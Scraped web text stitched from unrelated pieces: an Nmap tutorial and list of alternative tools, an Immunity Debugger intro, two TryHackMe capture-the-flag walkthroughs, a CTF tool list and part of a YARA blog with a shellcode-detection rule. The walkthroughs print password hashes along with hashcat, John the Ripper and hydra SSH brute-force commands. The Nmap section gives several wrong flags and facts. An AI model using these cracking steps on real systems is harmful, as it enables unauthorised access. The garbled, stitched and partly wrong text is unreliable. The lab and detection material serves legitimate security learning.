Use the Windows self-installer (referred to as nmap-<version>setup.exe) and then follow the onscreen instructions.

Install Nmap on Linux

On Linux, things are a little trickier as you can choose between a source code install or a number of binary packages. Installing Nmap on Linux allows you to create your own commands and run custom scripts. To test whether you have nmap installed for Ubuntu, run the nmap --version command. If you receive a message stating that nmap isn’t currently installed, type sudo apt-get install nmap into the command prompt and click enter.

Install Nmap on Mac

On Mac, nmap offers a dedicated installer. To install on Mac, double-click the nmap-<version>.dmg file and open a file called nmap-<version>mpkg. Opening this will start the installation process. If you’re using OS X 10.8 or later, you might be blocked by your security preferences because nmap is considered an ‘unidentified developer’. To get around this, simply right-click on the .mpkg file and select Open.

How to Run a Ping Scan

One of the basics of network administration is taking the time to identify active hosts on your network system. On Nmap, this is achieved through the use of a ping scan. A ping scan (also referred to as a discover IP’s in a subnet command) allows the user to identify whether IP addresses are online. It can also be used as a method of host discovery. ARP ping scans are one of the best ways to detect hosts within LAN networks.

To run an ARP ping scan, type the following command into the command line:

# nmap -sp 192.100.1.1/24

This will return a list of hosts that responded to your ping requests along with a total number of IP addresses at the end. An example is shown below:

It is important to note that this search doesn’t send any packets to the listed hosts. However, Nmap does run a reverse-DNS resolution on the listed hosts to identify their names.

Port Scanning Techniques

When it comes to port scanning, you can use a variety of different techniques on Nmap. These are the main ones:

• sS TCP SYN scan

• sT TCP connect scan

• sU UDP scans

• sY SCTP INIT scan

• sN TCP NULL

Newer users will attempt to solve most problems with SYN scans, but as your knowledge develops you’ll be able to incorporate some of these other techniques as well. It is important to note that you can only use one port scanning method at a time (although you can combine an SCTP and TCP scan together).

TCP SYN Scan

sS TCP SYN Scan

The TCP SYN Scan is one of the quickest port scanning techniques at your disposal on Nmap. You can scan thousands of ports per second on any network that isn’t protected by a firewall.

It is also a good network scanning technique in terms of privacy because it doesn’t complete TCP connections that draw attention to your activity. It works by sending a SYN packet and then waiting for a response. An acknowledgment indicates an open port whereas no response denotes a filtered port. An RST or reset identifies non-listening ports.

TCP Connect Scan

sT TCP Connect Scan

A TCP Connect Scan is the main alternative TCP scan when the user cannot run a SYN scan. Under TCP connect scan, the user issues a connect system call to establish a connection with the network. Instead of reading through packet responses, Nmap uses this call to pull information about each connection attempt. One of the biggest disadvantages of a TCP connect scan is that it takes longer to target open ports than a SYN scan.

UDP Scan

sU UDP Scan

If you want to run port scanning on a UDP service, then UDP scans are your best course of action. UDP can be used to scan ports such as DNS, SNMP and DHCP on your network. These are particularly important because they are an area that attackers commonly exploit. When running a UDP scan, you can also run a SYN scan simultaneously. When you run a UDP scan, you’re sending a UDP packet to each targeted port. In most cases, you’re sending an empty packet (besides ports like 53 and 161). If you don’t receive a response after the packets are transmitted, then the port is classified as open.

SCTP INIT port scan

sY SCTP INIT Scan

The SCTP INIT port scan covers SS7 and SIGTRAN services and offers a combination of both TCP and UDP protocols. Like the Syn scan, the SCTP INIT Scan is incredibly fast, able to scan thousands of ports every second. It is also a good choice if you’re looking to maintain privacy because it doesn’t complete the SCTP process. This scan works by sending an INIT chunk and waiting for a response from the target. A response with another INIT-ACK chunk identifies an open port, whereas an ABORT chunk indicates a non-listening port. The port will be marked as filter if no response is received after multiple retransmissions.

TCP NULL Scan

sN TCP NULL Scan

A TCP NULL scan is one of the more crafty scanning techniques at your disposal. This works by exploiting a loophole in the TCP RFC that denotes open and closed ports. Essentially any packet that doesn’t contain SYN, RST or ACK bits will prompt a response with a returned RST if the port is closed and no response if the port is open. The biggest advantage of a TCP NULL scan is that you can navigate your way around router filters and firewalls. Even though these are a good choice for stealth, however, they can still be detected by intrusion detection systems (IDS).

Host Scanning

If you want to identify active hosts on a network, then the host scan is the best way to do this. A host scan is used to send ARP request packets to all systems within a network. It will send an ARP request to a specific IP within an IP range and then the active host will respond with an ARP packet sending its MAC address with a ‘host is up’ message. You will receive this message from all active hosts. To run a host scan, enter:

nmap -sP <target IP range>

This will raise a screen showing the following:

Identify Hostnames

One of the simplest and most useful commands you can use is the -sL command, which tells nmap to run a DNS query on your IP of choice. By using this method, you can find hostnames for an IP without sending a single packet to the host. For example, input the following command:

nmap -sL 192.100.0.0/24

This returns a list of names relating to the IPs scanned, which can be incredibly useful for identifying what certain IP addresses are actually for (providing they have a related name!).

OS Scanning

Another one of Nmap’s useful functions is OS detection. To detect the operating system of a device, Nmap sends TCP and UDP packets to a port and analyzes its response. Nmap then runs various tests from TCP ISN sampling to IP ID sampling and compares it to its internal database of 2,600 operating systems. If it finds a match or fingerprint, it provides a summary consisting of the provider’s name, operating system, and version.

To detect the operating system of a host, enter the following command:

nmap -O 192.168.5.102

It is important to note that you require one open and one closed port in order to use the –O command.

Version Detection

Version detection is the name given to a command that allows you to find out what software version a computer is running. What sets it apart from most other scans is that the port isn’t the focus of its search. Instead, it tries to detect what software a computer runs using the information given by an open port. You can use version detection by typing up the -sV command and selecting your IP of choice, for example:

#nmap -sV 192.168.1.1

Increasing Verbosity

When running any scan through Nmap, you might require more information. Entering the verbose command -v will provide you with additional details on what Nmap is doing. Nine levels of verbosity are available on Nmap, from -4 to 4:

• Level -4 – Provides no output (e.g. you won’t see response packets)

• Level -3 – Similar to -4 but also provides you with error messages to show you if an Nmap command has failed

• Level -2 – Does the above but also has warnings and additional error messages

• Level -1 – Shows run-time information like version, start time, and statistics

• Level 0 – The default verbosity level that displays sent and received packets as well as other information

• Level 1 – Same as level 0 but also provides detail on protocol details, flags and timing.

• Level 2 – Shows more extensive information on sent and received packets

• Level 3 – Show the complete raw transfer of sent and received packet

• Level 4 – Same as level 3 with more information

Increasing the verbosity is great for finding ways to optimize your scans. You increase the amount of information that you have access to and provide yourself with more information to make targeted improvements to your network infrastructure.

Nmap Scripting Engine

If you want to get the most out of Nmap, then you’re going to need to use the Nmap Scripting Engine (NSE). The NSE allows users to write scripts in Lua so they can automate various networking tasks. A number of different script categories can be created with the NSE. These are:

• auth – scripts that work with or bypass authentication credentials on a target system (such as x11-access).

• broadcast – scripts typically used to discover hosts by broadcasting on the local network

• brute – scripts that use brute force to gain access to a remote server (for example http-brute)

• default – scripts set by default on Nmap based on speed, usefulness, verbosity, reliability, intrusiveness, and privacy

• discovery – scripts that search public registries, directory services, and SNMP-enabled devices

• dos – scripts which can cause denial of service. Can be used to test or attack services.

• exploit – scripts designed to exploit network vulnerabilities (for example http-shellshock

• external – scripts that send data to external databases such as whois-ip

• fuzzer – scripts that send randomized fields within packets

• intrusive – scripts that risk crashing the targeted system and being interpreted as malicious by other administrators

• malware – scripts used to test whether a system has been infected by malware

• safe – scripts that aren’t considered intrusive, designed to exploit loopholes, or crash services

• version – used under the version detection feature but cannot be selected explicitly

• vuln – scripts designed to check for vulnerabilities and report them to the user

The NSE can be quite complicated to get your head around at first, but after the initial learning curve, it becomes much easier to navigate.

For example, entering the command -sC will allow you to use the common scripts native to the platform. If you want to run your own scripts, you can use the –script option instead. It is important to remember that any scripts you run could damage your system, so double check everything before deciding to run scripts.

Alternatives to Nmap

Although regular users of Nmap swear by it, the tool does have its limitations. Newcomers to network administration have learned to expect a GUI interface from their favorite tools and better graphical representations of network performance issues. The en-map adaptation of Nmap (see below) goes a long way towards addressing these needs.

Although Nmap is a command line tool, there are many competing system available now that have a graphical user interface, and we prefer these over the dated operations of Nmap.

Here is our list of the five best alternatives to Nmap:

1. Zenmap EDITOR’S CHOICE Produced by the developers of Nmap. This is the official GUI version of the network discovery tool., Offers a respectable mapping service for free. Runs on Windows, Linux, macOS, and Unix.

2. Paessler PRTG A network monitoring package that includes SNMP for discovery and also creates a network inventory. The network maps of this tool are exceptional. Runs on Windows Server.

3. Datadog Network Device Monitoring This module from a SaaS platform includes device discovery and ongoing status checks with SNMP.

4. Site24x7 Network Monitoring This section of a cloud platform of monitoring systems provides both device status checks and traffic analysis based on a network discovery routine.

5. Progress WhatsUp Gold This network performance monitor uses SNMP to discover all devices connected to a network, create a network inventory and topology map, and then perform continuous monitoring. Available for Windows Server.

The Best Alternatives to Nmap

Our methodology for selecting alternatives to Nmap

We reviewed the market for network discovery tools and analyzed the options based on the following criteria:

• An autodiscovery system that can compile an asset inventory

• Topology mapping

• A system that performed live monitoring of network devices

• The use of SNMP to extract status information from network devices

• Alerts for performance problems

• A free trial or a demo for a no-cost assessment opportunity

• Value for money from a service that offers cost savings through productivity gains

Zenmap is the official GUI version of Nmap and, like its CLI partner, it is proficient at network mapping and free to use. This system is a good option if you don’t want to spend any money on a network monitoring system. Although that category of network managers is probably limited to small business networks, this tool could easily monitor a large network.

Key Features:

• Installs with Nmap

• Nmap command generator

• Autodiscovery

• Network asset list

• Live network map

Zenmap shows the statuses of all of your devices on its network plan. This monitoring service uses traffic light color coding to display the health of switches and routers. The tool is very good for those who just want a quick check that everything is OK. However, it falls short of the extensive network monitoring tools that you can get from a paid tool.

Zenmap will delight techies who like to get their hands dirty and use a query language. However, busy network managers who don’t have time to construct scripts and investigations with be frustrated by the limitations of this tool.

This is a reliable workhorse, but a little dated. However, as a free tool, it is certainly worth the trouble to check out.

Pros:

• Interfaces to Nmap

• Offers an interface for ad-hoc investigations

• Creates scripts in the Nmap query language

• Suitable for small businesses that don’t want to pay for network monitoring

• Packet capture utility

Cons:

• Dated and has a limited capability for network monitoring

EDITOR'S CHOICE

Zenmap is our top pick for an Nmap alternative because it provides exactly the same functionality as Nmap but with GUI interface. If the only thing you hate about Nmap is its lack of a console, this is the tool for you. Zenmap will scan your network and show a map with all devices and their statuses.

OS: Windows, macOS, Linux, and Unix

Paessler PRTG Network Monitor uses the Simple Network Management Protocol (SNMP) to locate all of the devices on your network and provide real-time monitoring capabilities. Once each piece of equipment has been discovered, it is logged in an inventory. The inventory forms the basis of the PRTG Network Map. You can reorganize the map manually if you like and you can also specify customized layouts. The maps aren’t limited to displaying the devices on one site. It can show all of the devices on a WAN and even plot all of the company’s sites on a real map of the world. Cloud services are also included in the network map.

Key Features:

• Network discovery

• Network inventory and topology map

• Live network monitoring

The network discovery function of PRTG runs continually. So, if you add, move, or remove a device, that change will automatically be shown in the network map and the equipment inventory will also be updated.

Each device on the map is labeled with its IP address. Alternatively, you can choose to have devices identified by their MAC addresses or their hostnames. Each device icon in the map is a link through to a detail window, which gives information on that piece of equipment. You can change the display of the network map to limit it to devices of a particular type, or just show one section of the network.

Paessler PRTG is a unified infrastructure monitoring system. It will also keep track of your servers and the applications running on them. There are special modules for monitoring websites and the monitor is able to cover virtualizations and wifi networks as well.

Pros:

• A choice of on-premises or SaaS

• Constant network monitoring with updated inventory and map

• Alerts for network device problems

Datadog Network Device Monitoring is one of two network monitoring systems presented by the Datadog cloud platform. The other is the Network Performance Monitoring service, which focuses on measuring traffic.

Key Features:

• Device discovery

• Port mapping

• Constant health checks

The monitoring tool searches a network for all of the switches and routers that connect it together and then scans each device to get its details, such as make and model. The tool will also list the ports and the devices that are connected to them.

As operations progress, the Network Device Monitor keeps checking on the network equipment through SNMP procedures. It requests status reports from device agents and then compiles these into live performance data in the Datadog console. Activity is shown in graphs and charts as well as tables.

The system provides alerts if a device agent reports a problem and it will also set performance expectation thresholds on all of the metrics that it gathers. You can customize these alerts and even rearrange the dashboard screens.

Pros:

• Shows a live record of device performance

• Offers automated monitoring with alerts

• Provides a forecasting utility

Cons:

• Traffic analysis is a separate module

4. Site24x7 Network Monitoring

Site24x7 Network Monitoring provides both device monitoring and traffic analysis. This service will discover all of the devices on your network and create a network inventory and a topology map. The system is able to identify the activity on the device as a unit and per port.

Key Features:

• Device status monitoring

• Traffic analysis

• Autodiscovery

This package uses SNMP to track the activities of switches, routers, and firewalls. It uses NetFlow and similar facilities to track network traffic patterns. This combination of services means that you have all aspects of network device monitoring in one package. As well as watching over devices, the network monitor will track the performance of VPNs, voice networks, load balancers, wireless access points, and office equipment, such as printers and UPSs.

Both the network inventory and the topology map are interactive. They let you click through to see the details of a device and its current activity. The dashboard also lets you set up performance expectation thresholds that will trigger alerts if crossed. You will also get an alert if an SNMP device agent sends a Trap warning about a device status problem.

The Site24x7 cloud platform also includes server and application monitoring services and you choose a package of services from a list of bundles. All of the plans include network monitoring.

Pros:

• Network monitoring supplemented by server and application monitors

• Automatic topo9logy mapping

• Monitoring wireless systems as well as wired LANs

Cons:

• Plans have limited monitoring capacity and need to be expended by extra payments

WhatsUp Gold is a real-time monitor with an autodiscovery function, which covers wired, wireless, and virtual environments. The software for this infrastructure monitoring tool installs on Windows Server 2008 R2, 2012, 2012 R2, and 2016. The first run of the utility will kick off the network discovery routines. These log all of the Layer 2 and Layer 3 devices (switches and routers) on your network and record them in a register. The discovery process also generates a network map. The logging system keeps running constantly so any changes in the network will be reflected in the map. Cloud-based services that your company uses also get included on the map and you can cover multiple sites to plot your WAN on one map.

Key Features:

• SNMP-based

• Autodiscovery

• Creates a network inventory

• Live network topology map

The discovery process of WhatsUp Gold uses Ping and SNMP routines. The type of devices is also registered. This helps the monitor adjust processes accordingly for each type of equipment. A detailed popup attached to each icon in the map will show you details about that piece of equipment.

The statuses of the devices in the network system are monitored with SNMP. The map shows the health of each device with color: green for good, yellow for warning, and red for bad. So, you can see at a glance how all of those pieces of equipment are doing. Network link status is also highlighted with color: green for good, yellow for warning, and red for congested.

Pros:

• An on-premises package for Windows Server

• Network inventory and map are constantly updated

• Suitable for networks of all sizes

• Provides live network monitoring

You can get a Network Traffic Analysis add-on for WhatsUp Gold to get deeper intelligence on the performance of your network. This gives you greater troubleshooting capabilities through the insights on network performance both by link and end-to-end. A capacity planning scanning tool helps you predict demand and expand resources where necessary.

Nmap: An Essential Network Administration Tool

Ultimately, if you’re looking for a tool that allows you to target systems within your network and navigate around firewalls, then Nmap is the tool for you. Though it is not as glamorous as some of the other network analysis tools on the market, it remains a core part of most IT administrators’ toolkits. Ping scans and port scans are just the tip of the iceberg when talking about what this platform is capable of.

Is scanning with Nmap illegal?

It isn’t illegal to scan ports on your own system. It isn’t even illegal to scan ports on someone else’s public-facing infrastructure. It is illegal to break into a system by using the information you gain from using Nmap.

What is the Nmap aggressive mode?

Aggressive mode is activated by the -A option on the command. This activates a bundle of options: OS detection (-O), version detection (-vS), script scanning (-sC), and traceroute (-traceroute). If you want to use those four functions, it’s a lot quicker to just type -A.

How long do Nmap scans take?

Nmap takes about 21 minutes for each host connected to the network.

Immunity debugger is a binary code analysis tool developed by immunityinc. Its based on popular Olly debugger, but it enables use of python scripts to automatize repetitive jobs. You can download immunity debugger by visiting immunityinc webpage. In this first part of tutorial I will cover some useful windows that Immunity debugger offers which give us insight into program workings.

Loading the application

There are two ways you can load application into immunity debugger. First way is to start the application directly from the debugger. To do this, click on the File tab and click Open. Then find your application directory, select file and click Open.

Second way is to first start application outside debugger and then when its running to attach it to the debugger. To do this click on the File tab and click Attach. You'll see list of running processes you can attach to the debugger. Select process you wish to debug and click Attach.

Both ways are equally good, but I tend to first open the application and then attach it inside of debugger.

CPU screen overview

When application is loaded, immunity debugger opens default window, CPU view. As it can be seen on the picture, CPU screen is divided in four parts: Disassembly(1), Registers(2), Dump(3), Stack(4).

8 August 2020 4 minutes to read

Another day, another CTF writeup from tryhackme. This is my second boot2root writeup series. The challenge is rather easier compared to the write-up. Less tricky and straight forward. Without further ado, let’s get it on.

Task 1: Capture the flag

As always, your task is to capture the user and the root flag.

Task 1-1: Capture user’s flag

First and foremost, launch your nmap scanner with the following command.

In a jiff, you will be presented two open ports, specifically Port 21 (FTP) and Port 22 (SSH). Let’s check the FTP port first.

OMG., who the hell put the entire system folder inside the FTP. In addition, everyone can access the FTP server. Moral of the story, direct the Anon user to a specific FTP directory (not the whole system) or secure the FTP with a password. Enough of that, let’s check the user flag inside the home directory.

That’s it, easy and straight forward.

Task 1-3: Capture the root’s flag

1) The GPG

There are tons of directory yet to be discovered. After a quick search, I come across an unusual filename called ‘notread’.

Inside the ‘notread’ directory, we have a PGP file and a private key. Download both files into your machine and let’s import the private key using the following command.

Uh-oh, guess we need a password to access the key. Maybe Mr.john can help us out, I mean John the Ripple (JtR). Without further ado, export the key into the hash and run JtR.

gpg2john private.asc > hash
john hash

The password for the private key is ‘xbox360’. After that, input the password to import the private key.

Then, decrypt the backup.pgp file using the following command.

Once again, you will be prompt with another password field. Now, enter the ‘xbox360’ password into the field.

2) Crack the hash

After decrypted the PGP file, a shadow file contains two users’ hashed password shown on the terminal.

root:$6$07nYFaYf$F4VMaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bsOIBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0:18120:0:99999:7:::

melodias:$1$xDhc6S6G$IQHUW5ZtMkBQ5pUMjEQtL1:18120:0:99999:7:::

hashcat64.exe -D 2 -m 1800 --hwmon-disable hash/hash.txt Dict/rockyou.txt

After a few seconds, you will be prompted with the cracked password which is hikari (mean light in Japanese).

3) Capture the flag

Meanwhile, can we crack melodias’s hash? Nay, we can’t. A root password should be more than enough to solve this challenge. After that, log in to the root’s ssh shell using the following command.

Congratulation, you are now rooted in the machine. Let’s check for the flag.

Conclusion

That’s it, we just finished our second boot2root challenge by stuxnet. Hope you learn something new today. See ya ;)

tags: tryhackme - CTF - recon - crack

Vortex

TryHackMe is an online platform for learning and teaching cyber security, all through your browser. No download is required. Deploy the machine and you are good to go.

List of writeups

Hack The Box gives individuals, businesses and universities the tools they need to continuously improve their cybersecurity capabilities — all in one place.

In addition a knowledge of basic Linux commands, access to the following tools (or equivalent tools) are recommended as preparation for an entry level Capture-the-Flag (CTF) competition. Use what ever works for you!

1. :

   • – Lightweight SSH Browser addon:

   • :

     • ( Binary, Octal, Decimal, Hex)

     • (Hex, Decimal, Binary)

     • (Text, Hex, Video, Audio, etc. )

     • – Base2 to Base36 Converter

2. :

   • Google, ,

   • – Domain owners, name servers info, IP addresses

   • – Host name, IP , DNS and registry information

   • – Image Meta Data info

3. • – web-based open-source port of StegSolve.

   • – browser based hex editor

   • ‘‘ – Linux command to view visible text characters

   • ‘‘ – Linux command to extract embedded files and executables

   • – hide/extract files from inside an image

   • – open source steganography software (Linux)

   • – a free steganography tool written in Java (Linux).

   • – look for/correct broken chunks.

   • – Geo Explore Colour & Bit Planes (Go to “Browse Bit Planes”)

4. • – Calculate exclusive ‘OR’ operation

   • – Shift Cipher

   • – Shift Cipher

   • – Replace Letters with Numbers

   • (requires a key)

   • ()

5. :

   1. – Identifies hash type (Kali)

   2. – HASH cracking tool (Kali)

   3. Crackstation – Browser based Hash Cracker: ()

   4. – calculates/verifies 128-bit ,

   5. – Detect and crack weak PWs (Kali).

   6. (download) – contains 14m unique PWs (Kali).

6. 1. /robots.txt – lists pages or files that search engines can’t request,

   2. – brute force discovery of hidden directories/files (Kali)

   3. – Browser option use to inspect source and cookies.

   4. User Agent Extension – allows browser to switch user agent .

7. • See

8. 1. – utility for network discovery and auditing

   2. – Scan web sites for hidden web pages

   3. – scan for known vulnerabilities (Kali)

   4. – perform recon on remote targets (Kali).

   5. – Info on who is hosting a website

9. :

   1. – GUI based traffic capture and analysis tool (Kali, Windows or Mac OS).

   2. – utility for Linux

   3. – Windows version on tcpdump.

   4. – search for strings in network packets

10. 1. ‘File’ Command – determine a file type (including executables)

    2. ‘Strings’ Command – Display text comments in an executable.

    3. – view executable for visible text stings

    4. ‘Command – convert a hex dump back to its original binary form

    5. – reverse engineering tool developed by the NSA

    6. – Linux command line dis-assembler

    7. – utility that reads and writes data across network

    8. – translates Python bytecode back into source

    9. – Inspect memory w/in the code being debugged

    10. – a CTF framework and exploit development library.

11. :

    1. – Wifi info database for hotspots from around the world

    2. – Linux suite of cybersecurity tools

    3. – network packet analysis

    4. – tools to assess WiFi network security

    5. ‘‘ command – configure and query network interface parameters

    6. (set SSID to ANY) active mode (Windows)

    7. : both war-drive and sniffer. Uses passive mode (Linux)

References:

Greeting again, welcome back to another tryhackme CTF walkthrough. Today, we are going through the toughest puzzle-based CTF in tryhackme server. It took me around 2 and a half days to finish this challenge with major guidance from the creator, n0w4n. This write-up is specially written for people who lost inside the maze. I’m sure you will learn a lot from this room as it is rich in text encryption and cipher. Without further ado, let’s start the walkthrough.

Task 1: Capture the flag

There are 5 flags inside the machine. Gonna capture them all!

Task 1-0: Getting inside the machine

Your first task is to gain access to the machine. How you gonna do that?

1) Nmap

First and foremost, let’s fire up our Nmap scanner with the following command

nmap -Pn -p- -A -v <Machine IP>

There are 6 open ports available on the machine which is Port 21 (FTP), Port 22 (SSH), Port 80, Port 443 (Port) and Port 31337 (Unknown). Let check each of the port.

2) Port 21 (FTP)

There is a total 6 picture in the FTP server. Download each of them and check with the EXIF tool.

Combine all of them and you will something interesting. lol. We will skip port 22 since we are not sure about the login user and pass. Let’s move on to Port 80.

3) Port 80

Look like we get a 404 response from port 80. Next port, please.

4) Port 443

Make sure you add certificate execption for the port. Now, we got a message from Finn. Nothing we can do here, let’s move on the next port.

5) Port 31337

If you refer to the Nmap fingerprint of the port, you will notice something unusual. It looks like a communication socket to me. Whenever I try to communicate with the port using telnet, I got the following reply.

A magic word huh? Well, we have zero clues about the magic word. Great, we are stuck now. What to do? We haven’t brute force the webserver directory.

6) gobuster

gobuster is the way to go. However, a wrong wordlist will be going to cost you. After consulting with n0w4n, dirbuster/directory-list-lowercase-2.3-medium.txt is a suitable wordlist used to brute-force with. So, be patient, it going to take you some time.

gobuster dir -u https://<machine IP> -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -k

After 10 to 20 mins, we are able to locate the hidden directory. /candybar/.

7) The candybar

A base32 text. We are going to decode this one. (Tips: just copy the text from the source code).

Huh, we don’t understand what the sentence means. Maybe a ceaser cipher?

There is a numerous way to check the SSL certificate. But the easiest way is using the browser.

After that, access to https://land-of-ooo (make sure you add https://).

8) Land-of-ooo

Now we found jake. If seem that nothing we can do about the page. Here goes the gobuster again.

This time is /yellowdog/

9) yellow dog

Make sure you trail a ‘/’ at the end of the directory or else, you will be redirected to Finn page. After surveying the website, nothing out of ordinary. Let’s try with gobuster again by using a recursive way.

Oops, look like we have another hidden directory, /bananastock/

10) Banana stock

The unknown symbol represents space. Sorry for the lousy translator. In the end, we get “THE BANANAS ARE THE BEST!!!”. We going to save it for later use. Time for another gobuster (I promise, this is the last time).

Well, well, well, another hidden directory. This time is /princess/

11) Princess

Is the princess bubblegum! Look like she got a little secret inside the lappy. Checking the source code of the page, it reveals another encrypted text.

It is an AES encrypted text message. All the information provided ease our way to decrypt the message. You can try the online AES decryption tool.

You still can decrypt the message without the VI. After that, we get a magic word: ricardio. Still, remember the port 31337? We can try to input this magic.

We got a username. Let give it a try on the SSH shell by using this username and a phrase we obtained before (THE BANANAS ARE THE BEST!!!)

Hacking success, we are not obtained the SSH shell.

Task 1-1: Flag 1

Time for our first flag which is located at apple-guards directory

Don’t even try to bother with flag.txt, it was an oopsie by the creator :). The file we are interested in here is the mail or mbox.

The file is hidden somewhere, by marceline. What is in your mind? We need to search for a file which is created by marceline. Maybe this command?

find / -type f -user 'marceline' -ls 2>/dev/null

based on the color, it can tell us that file is an executable file. Run the file using ./helper (run inside the /etc/fonts directory)

Another puzzle! A ciphertext and a key? Look like a vigenere cipher to me. But where is the key? Actually the answer is in front of us, Read this sentence, The key to solve this puzzle is gone. Get that?

That’s it, we now obtain marceline’s ssh password.

Task 1-2: Flag 2

Login to marceline’s ssh shell and capture the second flag.

We got a note from marceline. Let’s check it out.

mport sys

with open(sys.argv[1],'r') as my_file:
	data = my_file.read()

brain = ""
skip = 1
reset = 0

for i in range(len(data)):
	if (reset%skip == 0):
		if (data[i] == '1'):
			brain += '+'
			skip = 1
			reset = 0
		elif (data[i] == '0'):
			if(data[i+1] == '0'):
				if (data[i+2] == '0'):
					brain += '-'
					skip = 3
					reset = 0
				elif (data[i+2] == '1'):
					if(data[i+3] == '0'):
						if(data[i+4] == '0'):
							brain += '['
							skip = 5
							reset = 0
						elif(data[i+4] == '1'):
							if(data[i+5] == '0'):
								brain += '.'
								skip = 6
								reset = 0
							elif(data[i+5]=='1' and data[i+6]=='0'):
								brain +=','
								skip = 7
								reset = 0
					elif(data[i+3] == '1'):
						brain += ']'
						skip = 4
						reset = 0

			elif(data[i+1] == '1'):
				if (data[i+2] == '0'):
					brain += '>'
					skip = 3
					reset = 0
				elif (data[i+2] == '1'):
					brain += '<'
					skip = 3
					reset = 0

	reset +=1

print (brain)

Run the python code and translate the binary to the brainfuck. After that, dump into any brainfuck translator, you should see the following output.

Guess what? Another magic word!. Go back to port 31337 and enter the magic word.

It is peppermint-butler’s ssh access pass.

Task 1-3: Flag 3

Login to peppermint-butler’s SSH shell and capture the flag.

Now, we got an image file inside peppermint butler’s directory. We are going to pull that file using Filezilla or SCP.

I’m highly suspect something is stored inside the image file. A steghide without password does not yield another but I’m not giving up yet. After performing a file search in the name of peppermint-butler, I come across two specific file name.

find / -type f -user 'peppermint-butler' -ls 2>/dev/null

One is steg.txt and the other one is zip.txt. Let’s read the files.

The steg.txt is a passphrase for steghide. Extracting the stego image yield a compressed zip file. In case you don’t know how to use steghide to extract the file.

steghide extract -sf butler-1.jpg

Look like the zip file is password protected. Reading the zip.txt reveal the pass for the zip file.

So, what is inside the secret txt?

The text file actually a secret diary. Huh, maybe that is the passphrase for gunter but somehow the last four-letter is missing. I guess we have to use the hydra to brute force gunter’s ssh shell. There are two-way to solve the puzzle, the crunch way or the lazy way. I highly recommend the lazy way because it is the fastest and efficient.

file = open('sfile','r')
data = file.read()
file.close()

process = ""
xor = ""

for i in range(len(data)):
	if(i%5 == 0 and i != 0):
		process += 'The Ice King ' + data[i:i+5]
		process += "\n"

file = open('spass','w')
file.write(process)
file.close()

If you are done, your wordlist should look like this.

Launch your hydra by using the following command

hydra -l gunter -P spass ssh://<Machine IP>

After a minute, gunter’s ssh password should reveal in front of you.

Task 1-4: Flag 4

Login to gunter’s ssh shell and capture flag 4.

The final flag will be a little bit tricky. No more puzzle now, this is real-life exploitation. Let’s check the suid file using the following command.

find / -perm /4000 2>/dev/null

The Exim program caught my attention. What is the version?

First condition, check. The second condition is the port run by Exim. First off, check the configuration file in /etc/exim.

The Exim is operated in port 6000. The second condition, checked. Copy the script into the temp folder, change the port number, change the permission to 777 and run the script.

Congratulation, you are now rooted in the machine. Time for the final flag.

5) Task 1-5: Flag 5

The flag is located inside princess bubblegum’s directory

Conclusion

That’s all for the ultimate long puzzle walkthrough. It is a fun challenge, to be honest. Until next time ;)

tags: tryhackme - CTF - recon - privilege_escalate

Vortex

Introduction

I like YARA. Every time I hear its name spoken aloud it makes me chuckle and think I should start gabbing in German. Even though its origins are somewhat more south and on a different continent, specifically South America for the curious. It never ceases to amaze me how many sharp people in our industry have not used it or, in some cases, not even heard of it. YARA is a tool aimed at (but not limited to) helping malware researchers identify and classify malware samples. It has been around for a bit and has an active, growing community that supports it. As an open source project written in raw C and , it’s tough to beat its price.

What does it do?

Well, that’s easy to describe. YARA contains a smorgasbord of pattern matching capabilities. It can be a sniper, zoning in one a single target or a legion of soldiers linking shields and moving across a battlefield. Both are accurate depictions of its ability to detect, either through extreme accuracy or broad strokes. We used to joke that YARA ate artillery shells and drank napalm, a testament to how powerful it was when it came to finding things. It’s also as smart as you make it; with the logic coming from the user.

YARA is not just for binaries.

More YARA love

You might be wondering still, what it is. On one hand, YARA is a lightweight, flexible tool, usable across just about any operating system. With its source code available, it’s easy to tailor or extend to make it fit a specific use case. YARA is an easy one to fit it into a trusted toolset for digital forensics, incident response or reverse engineering. On the other hand, YARA is your bloodhound. It lives to find, to detect and puzzle out twists and turns of logic. Its targets are files, the ones you commonly think of - binaries, documents, drivers, and so on. It also scans the ones you might not think of, like network traffic, data stores, and so on. It’s been quietly woven into the fabric of a lot of tools and you might be surprised that your SIEM, triage tool, phishing, sandbox or IDS . It’s usually something you find out after the fact when you learn of YARA’s existence.

YARA runs from a command line on both Linux and Windows, which is handy when you are working locally for reverse engineering or incident response. You can bring it online fast by opening it up in terminal and just as easily put it to work by handing it logic and a target. Graphically, it wins no awards and frankly makes no attempts to change that. Its better served by leveraging the numerous Python, Ruby, Go and other bindings to it that plug it into something graphical or wrap it in an API.

The logic that forms YARA’s brain is the just as streamlined and simple. YARA takes input at the terminal or you can provide it a simple text file of logic. It thinks in patterns that you fashion from rules and its Ying/Yang is pure true or false. The rules are sleek. You provide the name, the elements to match and pattern to match on. You can create the rule from a target, by sleuthing its insides and building matches, or do the opposite; derive a pattern and find targets that correspond to the logic.

There was a related blog on YARA support in OTX last week.

Writing YARA Rules

At its simplest, the elements to match can be something readable in ASCII, Unicode, or Hex. Declarative assignment is easy, it’s either there or it’s not, and the presence or lack of the element in a target takes on meaning to the logical pattern. It also speaks regex, and very intricate patterns can be built as elements to incorporate as the logic. This level of declarative discovery via YARA may be all you need, whether it’s to craft simple ASCII text, interesting Hex strings or intricate regex. I’ve pulled out a nice sample to show what it looks like in a rule using some of these elements. In case, this rule is aimed at any kind of file – it frankly doesn’t care what the target is, be it binary, html, image or other formats. The logic in it looks at a couple of simple shellcode possibilities and would be used in chain with other rules in a rule set.

rule Poss_Shell_Patterns_1

{

strings:

$reg1 = /=s*?unescape(s*?
?s*["'](%u[a-fA-F0-9]{4}|%[a-fA-F0-9]{2}){2,}['"]s*?[+)]/

$reg2 = /document.write(unescape(s*?
?s*["'](%u[a-fA-F0-9]{4}|%[a-fA-F0-9]{2}){2,}['"]/

condition:

$reg1 or reg2

}

As you might infer from the text above, the structure of the rule is straightforward. Don’t let that simplicity fool you. While we showed an example of declarative matching, i.e., it’s present or not, YARA is by no means locked only into that model.

Two other useful techniques are detection by proximity or by container. Proximity is exactly what it sounds, where the logic revolves around defining an element and then interrogating to find out if matching elements exist congruently around it. An example would be defining a hex string of $hex = { 25 45 66 3F 2E } and then looking for where the two elements around it in steps of 5, 10 or 15 bytes. For example:

